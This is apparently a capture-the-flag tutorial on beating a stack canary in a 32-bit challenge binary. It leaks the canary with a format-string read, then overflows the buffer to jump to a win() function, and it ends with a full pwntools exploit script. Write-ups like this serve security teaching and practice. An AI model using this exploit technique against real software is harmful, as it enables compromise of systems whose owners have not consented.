Try your hand at a 32-bit canary challenge. The process will be the same; however, getting the parameter offset for the canary will be more challenging.
If you're stuck, you might want to go into GDB, set a breakpoint before the vulnerable printf
, and count the number of blocks before the canary.
This problem is the first instance where the stack protector, called the canary is enabled. We must figure out how to beat that canary to perform a buffer overflow.
When we run checksec
on the binary, we notice that the canary is enabled.
[*] '/ironforge/chall' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
PIE is still disabled, meaning we can still use the same techniques we used in the previous binary. However, we can't use the same techniques to overflow the stack. Let's see what happens when we try to overflow the stack.
$ python -c "print('A'*1000)" | ./canary Hello, what is your name? ... How can I help you today? *** stack smashing detected ***: terminated zsh: done python3 -c "print('A' * 1000)" | zsh: IOT instruction (core dumped) ./canary
A stack smashing detected statement in the output indicates that we overwrote the canary. We need to determine how to beat the canary, and then we will proceed as usual.
It seems that our primary functions are main
, read_in
, and win
.
win
seems only to print the contents of the flag.main
immediately calls read_in
, then has a puts
statement. We can use gdb
to show that reads "You lose!".read_in
does a list of things, so let's break it down further. Checking the arguments as we scroll through gdb
:
puts("Hello, what is your name?")
puts@plt ( [sp + 0x0] = 0x0804a008 → "Hello, what is your name?" )
gets(ebp-0x4c)
gets@plt ( [sp + 0x0] = 0xffffd54c → 0xf7fc66d0 → 0x0000000e )
printf(ebp-0x4c)
printf@plt ( [sp + 0x0] = 0xffffd54c → 0xf7006968 ("hi"?) )
puts("How can I help you today?")
puts@plt ( [sp + 0x0] = 0x0804a023 → "How can I help you today?" )
gets(ebp-0x4c)
gets@plt ( [sp + 0x0] = 0xffffd54c → 0xf7006968 ("hi"?) )
After this last check, we see that the canary check is made:
0x08049283 <+189>: mov eax,DWORD PTR [ebp-0xc] 0x08049286 <+192>: sub eax,DWORD PTR gs:0x14 0x0804928d <+199>: je 0x8049294 <read_in+206> 0x0804928f <+201>: call 0x8049310 <__stack_chk_fail_local>
From this, we gather a few things:
ebp-0xc
.We know the canary is stored on the stack at ebp-0xc
. We will use a format string to leak the canary to standard output and then pass that canary to the second payload.
There are two ways to find the offset on the stack that the canary is stored at:
gdb
to set a breakpoint before the gets
call, then count the number of DWORD frames between the stack pointer and canary.read_in
function, account for the number of operations on the stack pointer, then count the number of DWORD
frames between the stack pointer and canary.The first one is by far easier and more practical.
gef➤ canary [+] The canary of process 44910 is at 0xffffd80b, value is 0x8fdba200 gef➤ x/40wx $esp 0xffffd530: 0xffffd54c 0x00000001 0xf7ffda40 0x080491d2 0xffffd540: 0xf7fc4540 0xffffffff 0x08048034 0xf7fc66d0 0xffffd550: 0xf7ffd608 0x00000020 0x00000000 0xffffd750 0xffffd560: 0x00000000 0x00000000 0x01000000 0x0000000b 0xffffd570: 0xf7fc4540 0x00000000 0xf7c184be 0xf7e2a054 0xffffd580: 0xf7fbe4a0 0xf7fd6f80 0xf7c184be 0x8fdba200 0xffffd590: 0xffffd5d0 0x0804c000 0xffffd5a8 0x080492b8 0xffffd5a0: 0xffffd5c0 0xf7e2a000 0xf7ffd020 0xf7c21519 0xffffd5b0: 0xffffd82e 0x00000070 0xf7ffd000 0xf7c21519 0xffffd5c0: 0x00000001 0xffffd674 0xffffd67c 0xffffd5e0
gdb
tells us that the canary is at 0xffffd80b
. If we count from our location to the canary, we see that it is 23 DWORDs away. We can verify this using the format string:
$ ./canary Hello, what is your name? %23$x 6de5f500
This appears to work! Let's turn this into a pwntools
script:
p.recvline() p.sendline(b'%23$x') canary = int(p.recvline().strip(), 16)
Now that we have the canary, we can overflow the buffer. We need to do this in two steps:
win()
.We discussed earlier that the canary is stored at ebp-0xc
. Based on the argument passed to gets()
, we start writing at ebp-0x4c
. This means we must write 0x40=64
bytes of data before reaching the canary.
Our payload here could look like this:
payload = b'A' * 0x40 payload += p32(canary)
Then, we need to write from the canary to the return pointer. The canary sits at ebp-0xc
, and the return pointer always sits at ebp+0x4
(because the base pointer is at ebp+0x0
). Remember that the canary takes four bytes, meaning we start to write at ebp-0x8
. This means we need to write 0xc
bytes of data to reach the return pointer.
Our payload here could look like this:
payload += b'B' * 0xc payload += p32(win)
From here, we put it all together into one large payload and send it off!
from pwn import * p = process("./chall") # leak the canary p.recvline() p.sendline(b"%23$p") canary = int(p.recvline().decode(), 16) # standard canary payload payload = b"A" * 64 payload += p32(canary) payload += b"B" * 12 payload += p32(0x080492A9) p.sendline(payload) p.interactive()
Running this gets us our flag.